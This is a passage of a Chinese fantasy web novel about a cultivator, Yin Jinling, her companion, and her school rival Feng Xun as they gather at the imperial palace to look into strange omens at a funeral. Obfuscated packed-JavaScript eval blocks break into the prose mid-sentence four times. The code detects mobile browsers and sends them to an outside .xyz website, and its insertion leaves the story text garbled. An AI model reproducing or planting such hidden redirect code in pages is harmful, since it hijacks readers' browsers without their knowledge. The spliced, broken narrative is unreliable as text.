;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874321|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的帝京,天子座下,虽则江南富庶,较之帝京仍不免相形见绌。不过与商肆遍布大街小巷的江南城略有不同,帝京布局规整分明,商肆酒楼集中在其城南的三条街上,其间一条大道直通往南城门。 二人正是从南城门而入,自然甫一入城便需穿过玉阙林立、楼榭栉比的南三街。 当是时,巳时将过而午时未至,商铺尽数开着业,沿着十里长街望去,两侧甍宇齐飞,夹道而起,舛互迢递,间或有酒旗斜矗其上,珠玑溢目,罗绮盈门,四面弦管喧沸,琵琶列响,凝笳翼高盖,叠鼓送华辀。 殷烬翎走南闯北五十年间,以往也到过江宁多次,倒也并非没见过这等盛景。 这三条街素来人满为患,比肩接踵之下,摔伤踩踏都是常事,冲撞推搡更是不计其数,况天子脚下,随便踩着个人都可能是哪位皇亲国戚,到时又是一桩麻烦事。虽大乘风气素来尊仙重道,可若是点背些,逮着个不讲理的,那可真是没完没了。以上种种,若非她还有点事,其实打心眼里不想从这里过。 她转头朝叶南扶嘱咐道:“你就在此处不要走动,我买些东西去。” 叶南扶并不理睬她,连个鼻音都不吭。 殷烬翎撇撇嘴,他这情况从方才还在飞剑上时持续至现在了,也不知在同她较什么劲,想着横竖也与他嘱咐过了,索性便转身兀自去了。 先是进当铺将前头乱买的一些姑且有些价值的物什给当了,接着往边上稍远些的一家簪饰铺子走去。 挑了半天,付了银钱,她叮嘱了店家几句,便也不叫人装匣了,拾起来便往晨起时梳好的发髻上绾,摆弄了几下发簪,瞧着铜镜里那妙目翦瞳如秋水烟波、乌发轻挽如黑云着墨的少女,她不禁沉醉于自己的俏脸,有些飘飘然起来。 待她迈着六亲不认的步伐踏出簪饰店时,蓦地,一脚狠狠踩在了不知哪个倒霉蛋的靴上。 “嗷——” 殷烬翎猝然一惊,脸色骤变,战战兢兢地抬头去看,既而面上一呆。 “疯狗?!” “殷梨?!” 两人俱是一僵,旋即纷纷往面上堆起假笑。 “好巧啊,封师兄怎么也在此处?” “我是受仙盟委派来此的,殷师妹你呢?” “我嘛,自然是接了任务,最近财运亨通,不小心抢了个榜首心愿。” “哦,那真是恭喜啊。”封荀皮笑肉不笑,“可是殷师妹不是我道门中极度佛系,宣扬不争不抢的代表人物么?” “哎,这不是有人编排我说,我是因为抢不到酸得很才佛系的,我这便抢一个给他瞧瞧嘛!” 叶南扶正闲得四下里张望,忽见不远处殷烬翎满面春风,与一身着缥碧色广袖道袍的青年男子正谈笑风生。她发上还多了一支精巧玲珑的绯红簪子,垂下的鸢尾上坠着两粒珠玉在日光下熠熠生辉。 许是被那珠子上的光芒晃了眼,他如同被烫着似的,一触便急忙移开了视线。 然而没过多久,他皱了几下眉,又转了回去,并大步径直朝那个方向走了过去。 30. 第 30 章 殷烬翎正与封荀你来我往、笑里藏刀地寒暄客套着,余光瞥见叶南扶正往这儿过来,连忙迎上去,伸手挽住他,提着嗓子故作矫揉道:“呀,总算找着你了,你方才都跑哪儿去了。” 说罢,她又转头朝封荀那处高声道:“封师兄,容我先行一步了,来日师门见。” 叶南扶:?? 殷烬翎暗里伸手扯了扯他的衣袖,用力挽着有些懵怔的叶南扶,强行拉着走了,只留下同样一脸迷惑不解的封荀在原地。 “懒得同他虚与委蛇了,都离开师门了还搞这些虚头巴脑的同门情谊……”走出一些路,殷烬翎便小声嘀咕着。 这一来一回,倏忽间,先前叶南扶心内的躁乱烦闷已然平缓了不少,此时听着殷烬翎的低低自语,随意用鼻子应了声。 “啊,我还没同你讲方才是什么情形吧?”殷烬翎边走边凑近了些,轻声道,“此人是我同门师兄,封荀,诨号疯狗,与我……素来相看两厌。” - 一行人候在宫门外等宫人前来接待引路,封荀狠狠打了个喷嚏,伸手揉了揉鼻子。 立在一旁的青年侧目朝他看来:“封兄,怎么了?” 封荀皱眉吸了吸鼻子,道:“许是晨起时吹了点风,现下鼻子稍有些不适,倒也无碍,子铮接着说先前的事吧。” 秦子铮并未继续之前的话题,又道:“午时封兄从南三街回来,面上便一直有些怏怏的,可是在那儿遇着了什么?” “无妨,就是碰见了一个……”封荀顿了顿,思考着措辞,“……老仇人。” 秦子铮心领神会地笑起来:“殷师妹也来了帝京?” 封荀顿时恼了:“咋的,我还不能有别的仇人了?” - 封荀,字佩之,时年二百三十三岁,自打他六岁上因着什么根骨清奇天赋异禀,被自家师父抱回了清霄山,仙途便一帆风顺,从未碰着什么瓶颈或阻挠,直到被送去师门学堂研读大家经典时,记录感悟的簿子被无所事事的殷烬翎随手拿起来,大声念出封面上潦草的名字。 “封……苟。嗯……疯狗?!”年少的殷烬翎念着名字,表情古怪道,“啥破名儿啊,什么不好非叫个疯狗……” 出生优渥的封荀涵养颇好:“眼睛不用可以捐给有需要的人。” 殷烬翎根本毫不在意他说了什么,忽然面露同情:“被叫了这么多年疯狗,一定很不容易吧,性情变得古怪些也无可厚非。” “是荀不是苟,你自己看岔了。” “我明白,用一个相似的字替代,以此来欺骗自己,自我宽慰。”殷烬翎兀自感叹了起来,“太悲惨了,少年为了与遭遇的歧视抗争,竟采用这种方式!” “你别内心疯狂加戏啊,没那么多乱七八糟的,就是封荀!” “好好,是封荀是封荀。”殷烬翎悲悯地将他望着,语气宛如安抚孩童。 “你倒是听人话啊!” 从那以后,每每在路上撞见殷烬翎,她总会用异常复杂的眼神看着他,用十分别扭委婉的语气同他打招呼。 “封……荀师兄。” 封荀:“……” 你刚刚绝对想说疯狗吧!省略号里的话倒是给我说出来啊喂!封荀内心狂叫。 - 彼时封荀在最高的天字级进修,由于他的师父时任学堂的教长,他便帮着管束下边地、玄、黄三级的年轻弟子,殷烬翎尚在地字级。 时值年末扫除,于是封荀为了一振身为权限狗的威严,将众人都避之不及的山门阶梯扫除工作派给了殷烬翎。 然而过了一段时日,封荀惊恐地发现,周围的师弟师妹们看他的眼神都变得同殷烬翎如出一辙的复杂。 某玄字级师妹在他桌案前晃悠了半晌,优优柔柔地开口:“封……封荀师兄,这是刚缴上来的《修道:从入门到入土》读书心得,请过目。” 封荀接了过来,师妹交了书稿却仍杵在那儿,神色复杂地将他望着。 封荀被这目光盯得如芒在背,拿着笔的手从微微颤抖到剧烈抽搐,飞速思考着是不是自己最近偷用师兄的仙愿榜匿名发布征友帖子之事东窗事发了。 然而师妹立了良久,最后只是叹息一声走了。 封荀:“……” 所以到底发生了什么你倒是告诉我啊喂!别光看着不说话啊!知不知道你这样让我着实瘆得慌啊! 被一言难尽的目光洗礼了好几日的封荀,终于忍不住逮住了一个地字级师弟便开始盘问:“你们到底怎么了?” 师弟也用千篇一律的复杂目光向他看来,情真意切地行礼:“封荀——师兄。” 见鬼的“荀”字还给我加了重音,生怕我听不出来吗? “这是最近学堂里广为传阅的一个画本,还请师兄过目。”师弟掏出一个被翻得毛毛糙糙的手抄本。 封荀随意翻了两下,揣到了怀里。 当天晚上,原本只打算随意浏览一下的封荀,忍不住通宵看完了。 这是一个悬疑画本。故事跌宕起伏,伏线千里,最后收尾时还有一波无比震撼的大反转。 封荀在深深被画本吸引之余,却隐隐感觉自己受到了冒犯,这绝对不是他多疑善虑,而是因为这个故事最后的反转时刻,揭露了主角真名叫枫苟,因为谐音“疯狗”经常遭受异样的目光,后使用假名。 看到这,他算是明白这画本是谁写的了,看来就是因为这个才让他遭受了那么多日的诡异目光,回想着这几日的悲痛经历,他不禁狠狠一把抓起画本—— 暗戳戳地藏到了床榻底下。 因为实在太好看了!初次接触画本的封荀从此打开了一扇新世界的大门。 - 学堂常有经文早读,每到这时,便是殷烬翎浑水摸鱼的绝佳机会。 冬去春来,这一年的殷烬翎已然通过了春日的绩效核准,成功升入了天字级,从此与封荀同窗而读,低头不见抬头见。不过显然她也并未想着对其退避三舍,反而热衷于给封荀找不自在。 这日的早读,殷烬翎照例在小几上摊着本先贤经典装样,底下压着个小簿子正写写画画,偶一抬头,忽见前边封荀坐的垫子下露出书页的一角,以她在晨读中作案多年的经验判断,那定是什么违规读物。 想着封荀平日里一本正经的教长鹰犬模样,殷烬翎不由大为好奇,眼见着封荀要离席,便瞅准他起身的瞬间,一记无影手神出鬼没地顺走了软垫下的书,不动声色地藏到衣袍底下,尔后四下一顾,并无人觉察,这才悄悄掀起衣摆一角。这一瞧,殷烬翎心里登时一乐,居然是个画本子,更妙的是,这还是个她未曾看过的,当下喜滋滋地读起来。 不多时,封荀从外头回来,甫一落座便面生疑色,伸手往软垫下一摸,随即面色骤变,又是提衣摆又是俯身往小几底下张望,殷烬翎佯垂眼窥着他的反应,暗自偷笑。 正在她乐不可支地看画本之时,外间路过的教长往里随意扫了眼,便见自家弟子封荀翻来倒去在寻着什么,于是走了进来,至封荀座旁,正欲开口,却见其后座的殷烬翎埋着头,拿衣袍下摆挡着侧边,空隙中露了一只正翻着书页的手。 “殷烬翎!” 殷烬翎猛地一凛,左手飞速将下摆一盖,右手以迅雷不及掩耳盗铃之势抄起小几上摊着的先贤经文,摇头晃脑地念起来。 教长素知她的脾性,也不同她扯,一言不发地伸手往她面前一摊。 殷烬翎撇着嘴,从衣摆下边掏出书递了上去,心下直痛惜,想她以往顶风作案无往不利,今日竟会在阴沟里翻了船。 “早课偷读闲书,山门前守岗三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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封荀忽然不知怎么接话,他想说自己其实并没有觉得看这些闲书有什么不对,他还想告诉殷烬翎她写的那个画本真的很好看,但他最终什么也没说,只沉默着,任凭殷烬翎句末的字音被山风愈吹愈远。 两个时辰立下来,殷烬翎早已饥肠辘辘,摸遍了身上所有口袋也没找着吃的,见不远处走过一个玄字级的师弟,连忙出声唤住,掏出些碎银放到他手里,道:“师弟,能帮我去后厨弄些吃的来嘛?” 师弟正打算应下,忽然往封荀那边看了眼,有些犹疑起来。 “不用管他。”殷烬翎随意扫了眼,“他也是在罚站,不是在监督我。” 师弟闻言颇有些讶异,不过也没多问,转身就往后厨跑去,不多时便带来一盒桂花酥。 殷烬翎谢过之后便往嘴里扔了一个,吃得满嘴沁香。 “从未见人罚站还这么惬意。”封荀冷冷道。 “你这不就见到了,还是见识太浅薄的缘故。”殷烬翎大嚼着酥饼,边朝他投去示威的一瞥。 桂花香无孔不入地围堵着他的嗅觉,封荀脸黑得快能拧出水来,眼睁睁地看着她拿起最后一块酥饼,半点也没有分给他的意思,紧接着肚子里跟催命似的呜哇乱叫,他有些忍不了了,也忙喊了声不远处一个师弟。 “能否……帮我去……后厨,弄些桂花酥……” 封荀为难地思索着措辞,全然没注意到面前的师弟抖如筛糠。 “封荀!” 身后一个炸雷般的声音响起,登时轰得他满脑子的词藻灰飞烟灭,呆愣当场,茫然不知身在何处。 “罚站期间不好好思过,还想着吃零嘴!”教长气得胡子都歪了,“再多加两个时辰!” 31. 第 31 章 “然后,你就与他成了仇人?” 殷烬翎点点头:“现在想来,疯狗过往确实因为我倒了不少霉,结仇也不算冤枉。” “难怪说你是‘乌鸦转世’,你还真是到哪里都绕不开鸟族啊。”叶南扶戏谑地笑道。 殷烬翎回以一个白眼,反唇相讥:“您怎么这会儿又好了?” 方才刚进城之时,叶南扶还莫名地同她怄气来着,连个应声都懒得赏予,这才不过片刻,便又跟个没事人一样了,真是阴晴不定。 叶南扶被噎了一下,不过旋即又道:“无他,想开了而已,没必要一直同个傻鸟儿过不去。” 殷烬翎深深拧着眉感到无比迷惑。 这人到底每天在脑补些什么?怎么感觉这么会儿功夫,他内心就发生了很多跌宕起伏的故事,但在其中扮演了重要角色的我本人却毫不知情? 叶南扶又道:“还有后续吗?” 殷烬翎只得放弃思考这个捉摸不透的怪人,继续道:“后来天璇门要评个什么‘仙道特色示范门派’,仙盟那些吃得太撑的老头子们整了百余条规范来刁难我们,头一项便是要同门弟子间情谊深厚、友爱互助。” 言至此,她冷笑一声:“天晓得那时候,我与疯狗之间没有闹到不共戴天就已是师门万幸了。但无奈彼时师父隔几日便要同我嘱咐上一遍,掌门甚至在一年一度的师门大会上特意点了我俩的名,要我们那几年里收敛性子,万莫在评选期间弄出幺蛾子,还特地派了个长老来教我礼仪规矩。尔后再同疯狗见着面,便成了先前你见到到那般各自笑里藏刀的模样。” 叶南扶若有所思地点点头:“原来你那川剧变脸的功力是这样习得的。” 殷烬翎被他讽得不禁恼火起来。 瞧瞧他这会儿说的话,有哪句是没在损人的嘛?这人一下无缘无故地负气对人爱答不理,转眼又一顿冷嘲热讽,即便是修养颇好的得道高僧怕是都要抄起木鱼槌撵人了好嘛! 她安抚地拍了拍自己的胸口,心里喃喃念了两句。 人生有缘才相聚,为了小事发脾气,回头想想又何必,我若生气谁如意。 才与叶南扶相处了月余,她便觉得自己佛系更进一重境界,看来待将他送回无生界时,自己必能佛法大成修得无量无边妙法金身,谁能想到她修了两百年的仙道,如今却在修佛上即将神功大成。 “叽——!!” 尖锐高昂的鸣声骤然从殷烬翎袖中传出,声振四里,响遏行云。 已是第二次听到的叶南扶见怪不怪,只是淡淡地瞥去一眼,而路上的行人却纷纷驻足张望,四下寻找声源。 “哪来的鸡叫啊?” “谁家把鸡带来大道上杀了啊?恁地没公德心!” 殷烬翎只愣了一瞬,便暗暗探手进袖子,随着一声宛如被掐断了脖子的短促悲鸣,鸡终于死透了。 趁着路人尚在惘然之际,殷烬翎连忙拉起叶南扶快走几步,拐进了个没人的巷子里,然后从袖子里掏出仙愿榜来查看。 委托方发来新文书,请众仙家注意查收。 请帖一份。注:过皇城宫门所用,示与宫门处侍卫即可。 她伸出指尖触在“请帖”二字上头,便有一道白光自金布帛上沿指尖攀升,随后光芒大盛,在半空化为一页帛书落在殷烬翎掌心。 她盯着手上的帖子,有些发怔。 对于雇主是皇家倒是丝毫不意外,能发如此高额赏金的榜首心愿、搞出这么大阵仗,且地处帝京江宁城,除了皇室应当不做第二人想,只是她忽然想起个事来…… 疯狗说是受仙盟委派而来,莫非…… - 看着面前又经过一队捧着各色用具铺盖的内侍宫女,封荀忍不住转向一旁的秦子铮,问:“今日宫内又有什么场面吗?” “嗯?你不知道?”秦子铮有些讶异,“早先宫里在向仙盟请求我们主持七七日的时候,一并往仙愿榜上发了个榜首心愿,我听闻赏金颇高,令不少仙友争破了头。” “稍、稍等,你是说,宫里发了个榜首心愿?” “对啊……哎,封兄,你怎么了?” 见封荀突然痛苦地捂着头,秦子铮慌忙去扶,封荀冲他摆摆手,示意无事,扶着廊柱喘了两口气。 当真不是冤家不聚头! 封荀狠狠地捏了一把雕栏,正欲转身同好友说点别的,陡然两眼一黑,毫无征兆地倒了下去。 - 殷烬翎赶到时,皇城宫门外已然候着好些仙家,看样子都是同她一般早先在城中,适才接了通知便立马赶来了。她大略扫了扫,认出了其中不少。 “殷师妹。” “殷姑娘。” 众人纷纷同她见礼,殷烬翎也一一回过礼。 她虽平日私下没个正形,但好歹被逼着学过几年礼仪,不少场面也是能应付一二的,况且面对不熟的人她还是很能端得起几分礼来。 譬如像这种时候,虽然宫门大开,守卫都闲得在掏耳朵,门前堵着的这一大群仙家却全然没有要进去的意思,这些抢起榜首来凶狠无比的人此刻却个个谦逊礼让,因为领头率先进去这件事得让辈分最高资历最深的来。 换言之,你若不是发须皆白、仙风道骨的老者,那么头一个去跨那宫门难免显得你有些狂妄无礼、自视甚高。 故而,当叶南扶在众目睽睽之下漫不经心地往宫门走去时,疑惑、不满、惊诧,各色各异的目光纷纷落在了他身上。 殷烬翎见状,心里暗暗叫苦,赶忙上前几步,一把拉住了叶南扶的袖子。 叶南扶转过头来,不解地看着殷烬翎,眼神示意:作甚? 殷烬翎冲他微微摇了摇头,目光往后边稍有些窃窃私语众人瞟了瞟:你看他们都还没走呢。 叶南扶歪了歪头,愈发疑惑:他们想杵在这儿杵着便是,同我有何关系? 殷烬翎:他们是觉得你独自先行未免显得过于嚣张…… 叶南扶:??我走个宫门就嚣张狂妄了?他们不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894895|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有请帖也能走么? 殷烬翎:……我没法跟你解释,因为我只是一只小麻雀。 虽不知如何说明,但好歹是把叶南扶拉住了,还没等她松一口气,有人上来搭话了。 “殷师妹,敢问这位仙友是?” 烦呐,又得想着如何跟人介绍老哥了。殷烬翎不禁有点脑壳疼。 说是我招的童子?殷烬翎暗暗瞟了身量颇长的叶南扶一眼,似乎怎么看都与“童”字搭不上边。 那说……是我刚收的徒弟?殷烬翎又扫了眼后方众人。不成不成,这里的仙家大多与我同辈,万一起兴要老哥叫声师叔师伯啥的,他还不得脸黑成个锅底? 她抿着嘴嗫嚅了一会,试探着道:“他是……嗯……我的道友?” 闻言,众人目光齐齐往叶南扶身上转了两圈,又一同转回到殷烬翎身上打量了半晌,目露惊疑,再度窃窃私语起来。 在仙界,常会有一些志趣相投的人相互结伴同行,即称作道友,譬如那封荀与秦子铮便是赫赫有名的“仙留双骄”。 不过如今这个词由于近期一些事渲染,在好事者口中早已变了味。 近来修仙界数对有名的道友,接连成了道侣,且有知情者爆料称两人早有纠葛,为免旁人追问不停,便用道友来做幌子。弄得现今“道友”一词成了两人间有不可告人之事的代名词。 这一出连带着许多清清白白的道友都受到了牵连,如那封荀和秦子铮也常被喜好八卦的追问揣测个没完,索性便弄了个“知交”的新词来替代,因而如今都称“知交”而不再提“道友”。 不过殷烬翎这种远离仙界是非,从来只关注新画本是否发售的人,显然是不会知道这种时事的。 众人交头接耳一通,先前发问的那位师兄又忍不住再次确认:“真是师妹的道友?” 殷烬翎被众人的反应弄得有些迷茫:“是啊,有什么问题吗?” “不不,没什么。”这位师兄忙摆摆手,“冒昧问一下,这位仙友师出何门何派呢?” “他无门无派。”殷烬翎答道。 原来是散修啊。众人都在心中不屑地轻嗤一声。 仙界有个鄙视链,仙道七门弟子瞧不上其他门派的,而有门派弟子则看不上无门无派的散修。 一介散修,勾搭上了名门女弟子便自以为身家不凡,竟张狂到当着在场这许多仙家的面头一个进宫门,这些乡野散修果然放诞无礼。 这般想着,众人看叶南扶的眼神逐渐不善起来,并对殷烬翎隐隐有些看失足少女的痛惜。 叶南扶:?? 他看向殷烬翎,眼神询问:他们怎么回事?我就去宫门边缘试探了一下,怎么好像我不但一脚踩烂了宫门,还在你们仙界兴风作浪了很多年似的。 殷烬翎冷静分析了片刻,给出了一个靠谱的想法:可能……他们在替我这些日子来的悲惨生活打抱不平?不得不说,在欺压嘲讽我这方面,你确实一脚踏入了罪恶的深渊,还在深渊里大鹏展翅。 32. 第 32 章 众仙家相互推脱了三百个回合,在守门侍卫掏完了两边耳朵又热了身打完一套太极拳将将要脱口骂娘之际,终于推出个天枢门的师兄领头进了宫门,众人都迫不及待地随之鱼贯而入,相互客套来去了三百个回合对众人的身心都是莫大的考验。 早有宫人候在两侧,见一行人进了宫门,便上前施礼,其中一些自然地穿入人群中,各自为一位仙家引路。 殷烬翎与叶南扶面前也来了一位宫女,欠了欠身道了句“二位请随我来”,便领着二人,往安排好的住处行去。 “今日可有安排?”殷烬翎边走边随口向宫女打听。 “原本是没有的。” “原本?” “是的,因为今日才初一,尚有一些仙家未到,原先是需待所有仙家到齐,再聚至一处,席上陛下将同众位道长见面并详谈此次事宜。” “那么如今呢?” “太子殿下今日吩咐的,希望同已到的诸位先行见一面,晚间会在东宫等候各位。” “殿下可是有事相商?” “奴婢不知,殿下并未细说。” 殷烬翎未有再问,稍稍顾盼了下四周,他们正走在一条偏窄的道上,两侧都是高耸的宫墙,视线全然无法逾越高墙眺望远处景象,只能见到宫墙上头每隔一段都挂有一面白幡。 不多时已到了暂住的宫殿,宫女同两人交代了一些饮食用度的事宜,说若有需要便唤她,尔后欠身一施礼退下了。 叶南扶立即当仁不让地瘫到了榻上,一副安详地将要冬眠的模样。 殷烬翎也没再同他争什么主屋偏屋,想着近来他不是露宿荒野就是在肖睿家打地铺,自从离了宋家后已经许久没睡过正正经经的床榻了,便由着他高兴吧。 虽说只是个偏远的小殿,奈何地处皇城之中,廊沿亭台自有一股气派,雕梁画栋庄严瑰丽。此处显然在他们来之前便仔细清扫过,被褥帘帐、桌椅杯盘都一应俱全,也不需要如何收拾便可住下。 殷烬翎颇为满意地环顾了一圈,正从袖里乾坤中往外掏行李,却听得外头传来有人叩门的声音,她便放下东西前去开门。 “殷师妹,果然是你啊。”门外站着的秦子铮笑道。 殷烬翎对于会见到秦子铮毫不意外,先前见着封荀时便听他说是因仙盟委派而来。与成为除灵师的她不同,封荀出师后便成功通过仙盟大选,上岸成为了仙盟的成员。故而她在收到入皇城的请帖时便想到,极有可能她与封荀在此地为的都是同一件事。 眼下秦子铮的出现证实了她的想法,其实对于要与封荀共事,殷烬翎打心底里是拒绝的,然而这种时候,只要想着那一大笔酬金便什么不满都烟消云散了。 “果然?疯狗同你讲了在南三街碰见我的事?” “都用不着他讲,只消看看他回来后跟新丧似的脸,便心知肚明了,想必除了你不作第二人想。”秦子铮摇头叹道。 殷烬翎虽与封荀势同水火,但对于这个与他形影不离的道友却并无恶感,甚至觉得秦子铮颇有些好相与。 她四下张望了几眼,没瞧见别的人影:“疯狗没同你一道来嘛?” 闻言,秦子铮稍稍皱眉,露出了些许担忧之色,但其中却带了几分哭笑不得:“佩之他今日听闻了你也要来,怒极攻心……便病倒了。” 啥??疯狗被我吓得一病不起?殷烬翎着实有些迷惑。 虽此前已有数十年没见过封荀,但也不至于变得如此胆小吧?早上见他不还好好的同我扯皮来着? “那个,疯狗真的因为这个……”殷烬翎不敢确信道。 秦子铮笑了笑:“倒也不尽然,适才找同行的医修来瞧过了,道是偶感了风寒,也不甚严重。只是佩之此前已有将近百年未曾伤风感寒,一时难以适应才会如此,待他修养一日便能调整过来了。” “秦师兄来此,莫非想让我前去探望他?” “这倒不必了。”秦子铮连连摇头,“教他瞧见了你,怕是还要再多躺上三日。我来也就同师妹打个招呼便罢,既已见过,师妹便接着忙吧,我先告辞了。” 秦子铮说着便要离去,殷烬翎却忽然出声。 “师兄请留步。”她让到一边,朝门内做了个请进的手势,“师兄若是不忙的话,可否同我详细说说,这皇城内究竟出了何事?” - 大乘皇朝这一朝天子座下,经历了早年与北方夷狄的惊世一役,远驱其千里以外,现如今国泰民安,政通人和,俨然已是一派太平盛世的光景。 两月前,圣上生母皇太后薨逝,然而在太后丧期内怪象频出,圣上恐其亡魂不安,遂遣人上求于仙盟,希望能派下仙家前来主持七七日的祭奠仪式。 “所以,仙盟就派了疯狗和秦师兄来?” “不止我们,还有天枢门的两位师兄,玉衡山的一位师姐,以及摇光派的两位师妹,总计七人。” “这么多?”殷烬翎惊异道,“一个七七日,有必要寻这许多仙家嘛?” 秦子铮苦笑:“不瞒你说,不光你这么想,我们几个在来时也是这般,觉得这位皇帝陛下未免小题大做了些,因而都没如何放在心上。” “然后呢?” “大约三日前,正是太后的七七日,傍晚时分,我们一行七人进了设立灵堂的正殿里,侧立在灵位前方,前来祭拜的皇家亲属按亲疏远近排列依次绕一侧廊柱三周后,从我们面前经过跪拜,再绕另一侧廊柱三周,如此循环三次。皇家宗族繁杂,亲属多且乱,两趟拜下来便已过了戌时,就在第三次轮到陛下参拜之时,变故突然发生了。” “大殿上四方原本摆着四根足有一人高的白烛,在陛下拜下去的那一刹,陡然一声爆响,位于西北方的白烛上端炸开,火星溅到了灵堂的白幡上,窜起足有三尺的火焰,殿内众人纷纷惊慌地逃窜避让,场面一时极度混乱,便是此时,一只乌鸟冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907256|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开窗棂,从外面直直飞入,咿哇乱叫,一头撞在了一侧的廊柱上,鲜血直流,随即跌落在地,蹬了两下腿便不动了,眼见着是断气了。” “尔后由于突发状况,殿内一地狼藉,不少皇亲贵族都在惊乱之中被冲撞得仪态不整,祭奠仪式眼瞅着是进行不下去了,只得中途作罢。我们几人随后在大殿里里外外四处转了一圈,并未有妖邪出没的迹象,遂又回去稍做了一些善后事宜,至夜半鸣了钟后才走。” 殷烬翎咬唇思索着,忽又道:“师兄可有使过阴阳罗盘?” 秦子铮点点头:“自然是用了。发生骚乱当时,我们查看过周边后便取了罗盘出来测阴阳相位。” “结果如何?” “虽还将将在阳位,但距正中偏了不少,显然受了些许妖气干扰。” “当真有妖物作怪?” “也许……可我总觉得并非如此。”秦子铮皱眉,“这妖气未免淡得有些离奇,甚至都没能让罗盘指针偏离阳位,即便真有妖物,大约也是个将将开了灵智,形都未化的小妖,这等小妖,怎有本事在我等七双眼目底下随意作乱、来去自如?况且我们后来仔细查验过,并未发现任何妖邪遗留下的施术痕迹。” 殷烬翎沉吟片刻,道:“我记得,一般而言人间丧葬最隆重的应是五七还魂这日,如今五七不来,反倒七七才来找仙家主持,想来是这大乘皇帝陛下原本并未打算寻仙家主持的,只是后来怪事频发,约莫是撑不住了,才来了仙盟。” 言罢,她又推测道:“这么说,在仙愿榜上发榜首召集仙家,也是类似的缘故,譬如,为下一个祭日……百日做准备?” 依大乘皇朝的习俗,过世后的头七、三七、五七、七七和百日,都需操办仪式来祭奠亡魂,平民百姓若是不大富裕,经不起这般连番祭祀的,可一切从简,甚至只在五七还魂日祭拜便可,但皇亲贵族们自然不至于如此寒酸,一般会把这些日子都祭祀个遍的。 “应该不会错。”秦子铮颔首,“不过这个榜首在先前宫里来人请我们之时,便同仙盟商议发出了,也幸亏如此,要不然,以佩之那骄傲的性子,准又会觉得是陛下嫌我等办事不力才急着找别家来。” 殷烬翎虽谈着正事,但听闻封荀受挫就不免有些心情愉悦,嘴角抑不住地上扬:“这么说,疯狗他此番受打击不小?” 秦子铮颇为无奈地瞥了幸灾乐祸的殷烬翎一眼:“我同他一道前来,多少也有些挫败感的,师妹嘲笑佩之的时候倒是稍稍考虑下我啊。” “抱歉抱歉,秦师兄……”殷烬翎笑得眼角弯弯,黑瞳里晶莹透亮的,“依疯狗性子,必不可能安然接受这个‘无能’的帽子,这几日怕是四处打探,想要查清事实真相吧?” “不错,他近来四方奔走,忙碌不停,说起来,师妹不是还撞见了?” “嗯?”殷烬翎愣了愣,随即反应过来,“他去南三街也是为了这事?他都查到了些什么?” 33. 第 33 章 “我们前几日一直毫无进展,宫里的内侍婢女虽对我等恭恭敬敬,但凡问及太后丧期内事由却闭口不言,上上下下皆讳莫如深。”秦子铮转首看向殷烬翎,问道,“说起来,自你进江宁城以来,到我来同你打招呼,这途中可有听到有关太后薨逝的消息?” 殷烬翎摇头:“这也正是我所疑惑的,虽说我进城后未有在城里耽搁片刻便径直进了宫门,但好歹是穿过了最为人多嘴杂的南三街,然而如此大事,怎的沿途竟全然无人谈起?” “我猜测陛下早先对此事下了禁令。”秦子铮顿了顿,“佩之今日清早许是发现了什么,径自去了南三街,还未同我细说便倒下了,眼下进展如何我也不知,只能待他醒来再议。” “嗯……那我明日再到师兄住处问问进展,师兄是住在何处?” “就在此往西一些,叫长宁殿。不过,我其实不大情愿你来。”秦子铮目露难色,“因为佩之与我住在一处,同你见了面他怕是又得气病过去……” “哎哎,师兄,哪有那么夸张啊!”殷烬翎摆摆手,满脸堆笑道,“师兄有所不知,自打我们天璇门要参选仙道特色示范门派后,我二人就被掌门勒令好好相处,如今我俩同门情谊深厚,早已不同往日了,师兄就把心放回肚子里吧。” 秦子铮狐疑地看了眼笑得眉飞色舞的殷烬翎,无奈地轻笑一声,道:“那你明日早些过来,我怕晚些等仙家到齐,陛下就要召见你们了。” “好。”殷烬翎痛快地应道。 “师妹若无其他事,我便先行回去了。” “秦师兄慢走。” 殷烬翎送了秦子铮到门外,与他挥手告辞后回自己屋里,正思索着方才从秦子铮处得来的消息,忽而抬首,侧耳细细听了一会主屋方向传来的动静,提高声音道:“没睡着就别装了,不如来谈谈你刚刚听到那些有什么想法?” 